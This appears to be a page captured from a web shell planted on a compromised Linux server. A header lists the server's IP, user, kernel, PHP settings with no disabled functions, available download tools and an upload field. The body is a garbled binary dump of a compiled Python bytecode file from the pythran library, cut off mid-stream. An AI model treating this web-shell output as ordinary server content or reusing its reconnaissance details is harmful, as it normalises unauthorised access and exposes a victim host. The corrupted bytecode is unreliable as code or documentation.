| Server IP : 217.160.0.135 / Your IP : 216.73.217.25 Web Server : Apache System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64 User : sws1074145052 ( 1074145052) PHP Version : 8.3.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /lib/python3/dist-packages/pythran/analyses/__pycache__/ |
Upload File : |
�
cR�a� � �Z � d Z ddlmZ ddlmZ G d� de� � Z G d� de� � ZdS ) z4 GlobalDeclarations gathers top-level declarations. � )�ModuleAnalysis)�DefUseChainsc � � e Zd Zd� ZdS )�SilentDefUseChainsc � � d S )N� )�self�name�nodes �F/usr/lib/python3/dist-packages/pythran/analyses/global_declarations.py�unbound_identifierz%SilentDefUseChains.unbound_identifier s � ��� N)�__name__�
__module__�__qualname__r
r r r r r s# � � � � � �
�
�
�
�
r r c �( � � e Zd ZdZ� fd�Zd� Z� xZS )�GlobalDeclarationsa� Gather all kind of identifier defined at global scope.
>>> import gast as ast
>>> from pythran import passmanager
>>> from pythran.analyses import GlobalDeclarations
>>> node = ast.parse('''
... import math
... import math as maths
... from math import cos
... c = 12
... def foo(a):
... b = a + 1''')
>>> pm = passmanager.PassManager("test")
>>> sorted(pm.gather(GlobalDeclarations, node).keys())
['c', 'cos', 'foo', 'math', 'maths']
c �| �� t � � | _ t t | � � � � � dS )z3 Result is an identifier with matching definition. N)�dict�result�superr �__init__)r � __class__s �r r zGlobalDeclarations.__init__! s1 �� ��f�f���
� �$�'�'�0�0�2�2�2�2�2r c � � t � � }|� |� � d� |j | D � � | _ dS )z+ Import module define a new variable name. c �B � i | ]}|� � � |j ��S r )r
r )�.0�ds r �
<dictcomp>z3GlobalDeclarations.visit_Module.<locals>.<dictcomp>* s4 � � 2� 2� 2�� �v�v�x�x��� 2� 2� 2r N)r �visit�localsr )r r �ducs r �visit_ModulezGlobalDeclarations.visit_Module&